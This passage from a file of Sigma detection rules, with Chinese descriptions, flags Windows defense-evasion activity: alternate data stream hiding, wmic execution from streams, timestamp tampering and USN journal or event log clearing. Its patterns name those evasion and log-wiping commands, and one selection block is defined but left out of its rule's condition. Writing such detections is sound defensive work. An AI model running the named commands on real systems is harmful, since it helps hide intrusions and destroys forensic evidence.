  - https://attack.mitre.org/techniques/T1564/004/
author: Security Analyst
date: 2026/06/26
tags:
  - attack.defense_evasion
  - attack.t1564.004
logsource:
  category: process_creation
  product: windows
detection:
  selection_cmd_ads:
    Image|endswith:
      - '\cmd.exe'
    CommandLine|contains|all:
      - '>'
      - ':'
  selection_powershell_ads:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
    CommandLine|contains|all:
      - '-Stream'
  selection_powershell_content:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
    CommandLine|contains|all:
      - 'Stream'
      - 'Set-Content'
  condition: selection_cmd_ads or selection_powershell_ads or selection_powershell_content
falsepositives:
  - 合法的 Zone.Identifier 操作
  - 合法的 macOS 兼容性操作
level: high

title: WMI Process Create from ADS
id: b8d9e0f1-2a3b-4c5d-6e7f-8a9b0c1d2e3f
status: stable
description: 检测通过 wmic 从 ADS 中执行可执行文件
references:
  - https://attack.mitre.org/techniques/T1218/
author: Security Analyst
date: 2026/06/26
tags:
  - attack.execution
  - attack.t1218
logsource:
  category: process_creation
  product: windows
detection:
  selection_wmic_create:
    Image|endswith:
      - '\wmic.exe'
    CommandLine|contains|all:
      - 'process'
      - 'call'
      - 'create'
  selection_wmic_ads_path:
    Image|endswith:
      - '\wmic.exe'
    CommandLine|re: ':[^:\\]+\.((exe|dll|ps1|bat|cmd|vbs|js))'
  condition: selection_wmic_create and selection_wmic_ads_path
falsepositives:
  - 合法的 WMI 远程管理操作
level: critical

title: NTFS MFT Timestamp Manipulation
id: c1d2e3f4-5a6b-7c8d-9e0f-1a2b3c4d5e6f
status: stable
description: 检测可能的 MFT 时间戳篡改操作（Timestomp）
references:
  - https://attack.mitre.org/techniques/T1070/006/
author: Security Analyst
date: 2026/06/26
tags:
  - attack.defense_evasion
  - attack.t1070.006
logsource:
  category: process_creation
  product: windows
detection:
  selection_timestomp_tool:
    Image|endswith:
      - '\timestomp.exe'
      - '\ntimestomp.exe'
    CommandLine|contains:
      - '-z'
      - '-m'
      - '-a'
      - '-c'
      - '-e'
  selection_powershell_timestomp:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
    CommandLine|contains|all:
      - 'CreationTime'
      - '='
    CommandLine|contains|any:
      - '2000-01-01'
      - '1970-01-01'
      - '2020-01-01'
  selection_meterpreter_timestomp:
    Image|endswith:
      - '\rundll32.exe'
    CommandLine|contains|all:
      - 'invoke'
      - 'timestomp'
  condition: selection_timestomp_tool or selection_powershell_timestomp or selection_meterpreter_timestomp
falsepositives:
  - 合法的时间戳同步操作
level: high

title: Sysmon Suspicious ADS Creation
id: d4e5f6a7-8b9c-0d1e-2f3a-4b5c6d7e8f9a
status: stable
description: 检测 Sysmon Event ID 15 中可疑的 ADS 创建操作
references:
  - https://attack.mitre.org/techniques/T1564/004/
author: Security Analyst
date: 2026/06/26
tags:
  - attack.defense_evasion
  - attack.t1564.004
logsource:
  product: windows
  service: sysmon
detection:
  selection_stream_create:
    EventID: 15
  filter_legitimate_streams:
    TargetFilename|endswith:
      - 'Zone.Identifier'
      - 'com.apple.FinderInfo'
      - 'com.apple.Metadata:_kMDItemUserTags'
      - 'Ole10Native'
      - 'Package.txt'
    StreamName|endswith:
      - ':$DATA'
  filter_browser_downloads:
    Image|endswith:
      - '\msedge.exe'
      - '\chrome.exe'
      - '\firefox.exe'
      - '\iexplore.exe'
  condition: selection_stream_create and not filter_legitimate_streams and not filter_browser_downloads
falsepositives:
  - 某些合法应用程序使用 ADS
level: medium

title: NTFS Journal Clear Operation
id: e5f6a7b8-9c0d-1e2f-3a4b-5c6d7e8f9a0b
status: stable
description: 检测 USN 日志或 NTFS 日志的清理操作
references:
  - https://attack.mitre.org/techniques/T1070/
author: Security Analyst
date: 2026/06/26
tags:
  - attack.defense_evasion
  - attack.t1070
logsource:
  category: process_creation
  product: windows
detection:
  selection_fsutil_journal:
    Image|endswith:
      - '\fsutil.exe'
    CommandLine|contains|all:
      - 'usn'
      - 'deletejournal'
  selection_fsutil_logfile:
    Image|endswith:
      - '\fsutil.exe'
    CommandLine|contains|all:
      - 'usn'
      - 'readjournal'
  selection_wevtutil_clear:
    Image|endswith:
      - '\wevtutil.exe'
    CommandLine|contains|any:
      - 'clear-log'
      - 'cl '
  condition: selection_fsutil_journal or selection_wevtutil_clear
falsepositives:
  - 合法的磁盘维护操作
  - 系统管理员清理日志
level: high